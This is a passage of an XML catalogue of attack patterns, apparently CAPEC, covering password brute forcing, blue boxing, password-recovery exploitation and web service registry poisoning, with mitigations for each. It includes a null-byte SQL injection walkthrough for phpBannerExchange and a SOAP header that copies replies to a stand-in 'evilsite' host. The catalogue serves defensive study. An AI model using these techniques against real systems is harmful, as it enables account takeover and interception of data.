											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Enforce strong
												passwords (having sufficient length and containing
												mix of lower case and upper case letters, numbers,
												and special
												characters)</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Corrective">
												<Security_Control_Description>Deny login attempts
												from sources that produce too many failed
												attempts. Note that this may cause problems where
												many users may have the same "source" as far as
												the application/system is concerned (e.g. a lot of
												users behind a NAT
												device).</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>An attacker needs to know a username to target.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The system uses password based authentication as the one factor
						authentication mechanism.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>An application does not have a password throttling mechanism in place. A
						good password throttling mechanism will make it almost impossible
						computationally to brute force a password as it may either lock out the user
						after a certain number of incorrect attempts or introduce time out periods.
						Both of these would make a brute force attack impractical.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A system does not enforce a strong password policy and the user picks
							a five letter password consisting of lower case english letters only.
							The system does not implement any password throttling mechanism.
							Assuming the attacker does not know the length of the users' password,
							an attacker can brute force this password in maximum
							1+26+26^2+26^3+26^4+26^5 = 1 + 26 + 676 + 17576 + 456976 + 11,881,376 =
							12,356,631 attempts, and half these tries (6,178,316) on average. Using
							modern hardware this attack is trivial. If the attacker were to assume
							that the user password could also contain upper case letters (and it was
							case sensitive) and/or numbers, than the number of trials would have
							been larger.</Text>
						<Text>An attacker's job would' have most likely been even easier because
							many users who choose easy to brute force passwords like this are also
							likely to use a word that can be found in the dictionary. Since there
							are far fewer valid english words containing up to five letters than
							12,356,631, an attack that tries each of the entries in the english
							dictionary would go even faster.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A weakness exists in the automatic password generation routine of
							Mailman prior to 2.1.5 that causes only about five million different
							passwords to be generated. This makes it easy to brute force the
							password for all users who decided to let Mailman automatically generate
							their passwords for them. Users who chose their own passwords during the
							sign up process would not have been affected (assuming that they chose
							strong passwords).</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2004-1143</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>A brute force attack is very straightforward. A variety of password
							cracking tools are widely available.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>A powerful enough computer for the job with sufficient CPU, RAM and HD. Exact
					requirements will depend on the size of the brute force job and the time
					requirement for completion. Some brute forcing jobs may require grid or
					distributed computing (e.g. DES Challenge).</Text>
			</Resources_Required>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Many incorrect login attempts are detected by the system.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>Try to spoof IP addresses so that it does not look like the incorrect
							log in attempts are coming from the same computer.</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implement a password throttling mechanism. This mechanism should take into
						account both the IP address and the log in name of the user.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Put together a strong password policy and make sure that all user created
						passwords comply with it. Alternatively automatically generate strong
						passwords for users.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Passwords need to be recycled to prevent aging, that is every once in a
						while a new password must be chosen.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>521<!--Weak Password Requirements--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>262<!--Not Using Password Aging--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>263<!--Password Aging with Long Expiration--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>257<!--Storing Passwords in a Recoverable Format--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>112<!--Brute Force--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eugene Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-26</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-01</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Description
							and Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Amit Sethi</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-29</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="5" Name="Analog In-band Switching Signals (aka Blue Boxing)"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack against older telephone switches and trunks has been around
						for decades. The signal is sent by the attacker to impersonate a supervisor
						signal. This has the effect of rerouting or usurping command of the line and
						call. While the US infrastructure proper may not contain widespread
						vulnerabilities to this type of attack, many companies are connected
						globally through call centers and business process outsourcing. These
						international systems may be operated in countries which have not upgraded
						telco infrastructure and so are vulnerable to Blue boxing.</Text>
					<Text>Blue boxing is a result of failure on the part of the system to enforce
						strong authentication for administrative functions. While the infrastructure
						is different than standard current applications like web applications, there
						are hisotrical lessons to be learned to upgrade the access control for
						administrative functions.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>System must use weak authentication mechanisms for administrative
						functions.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Attacker identifies a vulnerable CCITT-5 phone line, and sends a
							combination tone to the switch in order to request administrative
							access. Based on tone and timing parameters the request is verified for
							access to the switch. Once the attacker has gained control of the switch
							launching calls, routing calls, and a whole host of opportunities are
							available.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Given a vulnerable phone system, the attacker's technical vector
							relies on attacks that are well documented in cracker 'zines and have
							been around for decades.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>CCITT-5 or other vulnerable lines, with the ability to send tones such as
					combined 2,400 Hz and 2,600 Hz tones to the switch</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implementation: Upgrade phone lines. Note this may be prohibitively
						expensive</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use strong access control such as two factor access control for
						adminsitrative access to the switch</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Payload delivered through standard communication protocols.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Command(s) executed directly on host</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables calls to be rerouted.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>264<!--Permissions, Privileges, and Access Controls--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Low</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Other</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>Other</Framework>
				</Frameworks>
				<Platforms>
					<Platform>Other</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="50" Name="Password Recovery Exploitation" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker may take advantage of the application feature to help users
						recover their forgotten passwords in order to gain access into the system
						with the same privileges as the original user. Generally password recovery
						schemes tend to be weak and insecure. Most of them use only one security
						question . For instance, mother's maiden name tends to be a fairly popular
						one. Unfortunately in many cases this information is not very hard to find,
						especially if the attacker knows the legitimate user.</Text>
					<Text>These generic security questions are also re-used across many
						applications, thus making them even more insecure. An attacker could for
						instance overhear a coworker talking to a bank representative at the work
						place and supplying their mother's maiden name for verification purposes. An
						attacker can then try to log in into one of the victim's accounts, click on
						"forgot password" and there is a good chance that the security question
						there will be to provide mother's maden name.</Text>
					<Text>A weak password recovery scheme totally undermines the effectiveness of a
						strong password scheme.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Understand the password recovery mechanism and how
												it works.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Find a weakness in the password recovery mechanism
												and exploit it. For instance, a weakness may be that
												a standard single security question is used with an
												easy to determine answer.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The system allows users to recover their passwords and gain access back
						into the system.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Password recovery mechanism has been designed or implemented
						insecurely.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Password recovery mechanism relies only on something the user knows and
						not something the user has.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>No third party intervention is required to use the password recovery
						mechanism.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>An attacker clicks on the "forgot password" and is presented with a
							single security question. The question is regarding the name of the
							first dog of the user. The system does not limit the number of attempts
							to provide the dog's name. An attacker goes through a list of 100 most
							popular dog names and finds the right name, thus getting the ability to
							reset the password and access the system.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>phpBanner Exchange is a PHP script (using the mySQL database) that
							facilitates the running of a banner exchange without extensive knowledge
							of PHP or mySQL.</Text>
						<Text>A SQL injection was discovered in the password recovery module of the
							system that allows recovering an arbitrary user's password and taking
							over his account. The problem is due to faulty input sanitization in the
							phpBannerExchange, specifically the e-mail address of the user which is
							requested by the password recovery module.</Text>
						<Text>The e-mail address requested by the password recovery module on the
							resetpw.php page. That e-mail address is validated with the following
							regular expression:</Text>
						<Block>
							<Code>if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*</Code>
							<Block>
								<Code>(\.[a-z]{2,3})$", $email)){</Code>
							</Block>
						</Block>
						<Text>A bug in the implementation of eregi() allows to pass additional
							character using a null byte "\0". Since eregi() is implemented in C, the
							variable $email is treated as a zero-terminated string. All characters
							following the Null Byte will not be recognized by the gular expression.
							So an e-mail address can be provided that includes the special character
							" ' " to break the SQL query below (and it will not be rejected by the
							regular expression because of the null byte trick). So a SQL injection
							becomes possible:</Text>
						<Block>
							<Code>$get_info=mysql_query("select * from banneruser where</Code>
							<Block>
								<Code>email='$email' ");</Code>
							</Block>
						</Block>
						<Text>This query will return a non-zero result set even though the email
							supplied (attacker's email) is not in the database.</Text>
						<Text>Then a new password for the user is generated and sent to the $email
							address, an e-mail address controlled by the attacker. An attacker can
							then log in into the system.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2006-3013</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Brute force attack</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Social engineering and more sophisticated technical attacks.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>For a brute force attack one would need a machine with sufficient CPU, RAM and
					HD.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Trial and error (brute force).</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Social Engineering.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Many incorrect attempts to answer the security question.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use multiple security questions (e.g. have three and make the user answer
						two of them correctly). Let the user select their own security questions or
						provide them with choices of questions that are not generic.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>E-mail the temporary password to the registered e-mail address of the user
						rather than letting the user reset the password online.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Ensure that your password recovery functionality is not vulnerable to an
						injection style attack.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>522<!--Insufficiently Protected Credentials--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>640<!--Weak Password Recovery Mechanism for Forgotten Password--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>718<!--OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>212<!--Functionality Misuse--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>382<!--WASC Threat Classification 2.0 - WASC-49 - Insufficient Password Recovery--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>http://www.redteam-pentesting.de/advisories/rt-sa-2006-005.txt</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eugene Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-26</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-01</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="51" Name="Poison Web Service Registry" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>SOA and Web Services often use a registry to perform look up, get schema
						information, and metadata about services. A poisoned registry can redirect
						(think phishing for servers) the service requester to a malicious service
						provider, provide incorrect information in schema or metadata (to effect a
						denial of service), and delete information about service provider
						interfaces.</Text>
					<Text>WS-Addressing is used to virtualize services, provide return addresses and
						other routing information, however, unless the WS-Addressing headers are
						protected they are vulnerable to rewriting. The attacker that can rewrite
						WS-addressing information gains the ability to route service requesters to
						any service providers, and the ability to route service provider response to
						any service.</Text>
					<Text>Content in a registry is deployed by the service provider. The registry in
						an SOA or Web Services system can be accessed by the service requester via
						UDDI or other protocol. The basic flow for the attacker consists of either
						altering the data at rest in the registry or uploading malicious content by
						spoofing a service provider. The service requester is then redirected to
						send its requests and/or responses to services the attacker controls.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker must be able to write to resources or redirect access to the
						service registry.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>WS-Addressing provides location and metadata about the service
							endpoints. An extremely hard to detect attack is an attacker who updates
							the WS-Addressing header, leaves the standard service request and
							service provider addressing and header information intact, but adds an
							additional WS-Addressing Replyto header. In this case the attacker is
							able to send a copy (like a cc in mail) of every result the service
							provider generates. So every query to the bank account service, would
							generate a reply message of the transaction status to both the
							authorized service requester and an attacker service. This would be
							extremely hard to detect at runtime.</Text>
						<Block>
							<Code>&lt;S:Header&gt;</Code>
							<Block>
								<Code>&lt;wsa:MessageID&gt;</Code>
								<Block>
									<Code>http://example.com/Message</Code>
								</Block>
								<Code>&lt;/wsa:MessageID&gt;</Code>
								<Code>&lt;wsa:ReplyTo&gt;</Code>
								<Block>
									<Code>&lt;wsa:Address&gt;http://valid.example/validClient&lt;/wsa:Address&gt;</Code>
								</Block>
								<Code>&lt;/wsa:ReplyTo&gt;</Code>
								<Code>&lt;wsa:ReplyTo&gt;</Code>
								<Block>
									<Code>&lt;wsa:Address&gt;http://evilsite/evilClient&lt;/wsa:Address&gt;</Code>
								</Block>
								<Code>&lt;/wsa:ReplyTo&gt;</Code>
								<Code>&lt;wsa:FaultTo&gt;</Code>
								<Block>
									<Code>&lt;wsa:Address&gt;http://validfaults.example/ErrorHandler&lt;/wsa:Address&gt;</Code>
								</Block>
								<Code>&lt;/wsa:FaultTo&gt;</Code>
							</Block>
							<Code>&lt;/S:Header&gt;</Code>
						</Block>
						<Text>In this example evilsite is an additional reply to address with full
							access to all the messages that the authorized (validClient) has access
							to. Since this is registered with REpolyTo header it will not generate a
							Soap fault.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To identify and execute against an overprivileged system
							interface</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Capability to directly or indirectly modify registry resources</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Enforce principle of least privilege</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Harden registry server and file access permissions</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Implement communications to and from the registry using
						secure protocols</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Payload delivered through standard communication protocols, such as UDDI or
					WS-Addressing.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Command(s) executed directly on service requester, in the case of redirect, or
					on the service provider, in the case of the additional replto attack.</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute server side code with any commands that the
						program owner has privileges to.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>285<!--Improper Access Control (Authorization)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
